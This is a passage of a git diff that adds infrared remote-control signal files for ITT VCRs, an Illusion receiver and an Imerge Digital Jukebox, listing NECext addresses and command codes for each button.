+command: 63 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 64 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 65 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 66 00 00 00 +# +name: L3 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 67 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 68 00 00 00 +# +name: START +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 69 00 00 00 +# +name: L2 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 6E 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 6F 00 00 00 +# +name: L1 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 70 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 71 00 00 00 +# +name: OPTIONS/TRIANGLE +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 72 00 00 00 +# +name: BACK/CIRCLE +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 73 00 00 00 +# +name: X/CROSS +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 74 00 00 00 +# +name: VIEW/SQUARE +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 75 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 79 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 7A 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 7B 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1A 23 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir new file mode 100644 index 000000000..f0a28ecd7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: OPERATE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 16 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 17 00 00 00 +# +name: SEARCH_INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: TV-AUX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: SET_TIMER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 42 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: TAPE_REMAINING +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 45 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 47 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 48 00 00 00 +# +name: VPS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 51 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 53 00 00 00 +# +name: ADD_INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 54 00 00 00 +# +name: DELETE_INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 55 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 57 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 58 00 00 00 +# +name: ART +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 59 00 00 00 +# +name: TV_3X3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir new file mode 100644 index 000000000..c08ba40ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: AUTOREWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 16 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: COUNTER_MEM +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: TAPEREMAIN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 45 00 00 00 +# +name: PROGRAM_CHECK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 47 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 48 00 00 00 +# +name: AUDIO_DUBBING +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 49 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4C 00 00 00 +# +name: VPS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: MARK_INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 54 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 80 00 00 00 +# +name: TX_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 90 00 00 00 +# +name: EXP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 91 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 92 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 93 00 00 00 +# +name: CUR_R +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 94 00 00 00 +# +name: CUR_L +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 95 00 00 00 +# +name: CUR_DN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 96 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 97 00 00 00 +# +name: VPT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9C 00 00 00 +# +name: CODE_LIST +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 +# +name: TITLE_REC +type: parsed +protocol: NECext +address: 31 00 00 00 +command: DC 00 00 00 +# +name: SETCLK? +type: parsed +protocol: NECext +address: 31 00 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir new file mode 100644 index 000000000..842b0afe0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY_ON-OFF +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir new file mode 100644 index 000000000..e230bcc85 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 16 00 00 00 +# +name: cycle +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: vps +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir new file mode 100644 index 000000000..22436a6fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 09 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 0C 00 00 00 +# +name: f_left +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 0F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 12 00 00 00 +# +name: tick/audio +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 13 00 00 00 +# +name: tv/r +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 14 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 16 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 17 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 18 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 19 00 00 00 +# +name: game +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 21 00 00 00 +# +name: f_right +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 24 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 26 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 27 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 29 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 2A 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 37 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 38 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 39 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 3A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir new file mode 100644 index 000000000..3261f8ac2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 09 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: OUTPUT_SELECT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 11 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 12 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: ALBUM +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 18 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1A 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: DEFAULT_OUTPUT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir new file mode 100644 index 000000000..4939d54ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_1 +type: parsed +protocol: NECext +address: A1 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir new file mode 100644 index 000000000..fb239ef9e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir new file mode 100644 index 000000000..87a91760e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir new file mode 100644 index 000000000..de8d45ec0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_4 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir new file mode 100644 index 000000000..df502f3e8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_5 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir new file mode 100644 index 000000000..988b74766 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_6 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir new file mode 100644 index 000000000..9a903499a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: 1A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: CD 00 00 00 +# +name: 2A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: CE 00 00 00 +# +name: 3A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: CF 00 00 00 +# +name: 4A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D0 00 00 00 +# +name: 5A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D1 00 00 00 +# +name: 6A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D2 00 00 00 +# +name: 7A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D3 00 00 00 +# +name: 8A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D4 00 00 00 +# +name: 9A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D5 00 00 00 +# +name: 0A +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D6 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BF 00 00 00 +command: D8 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BF 00 00 00 +command: DA 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: DB 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BF 00 00 00 +command: DD 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BF 00 00 00 +command: DE 00 00 00 +# +name: SELECT_ALBUM +type: parsed +protocol: NECext +address: BF 00 00 00 +command: E3 00 00 00 +# +name: SELECT_PLAYLIST +type: parsed +protocol: NECext +address: BF 00 00 00 +command: E7 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BF 00 00 00 +command: E8 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: BF 00 00 00 +command: E9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir new file mode 100644 index 000000000..9f43cc0f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: 1B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: CD 00 00 00 +# +name: 2B +type: parsed +protocol: NECext +address: FF 00 00 00 +command: CE 00 00 00 +# +name: 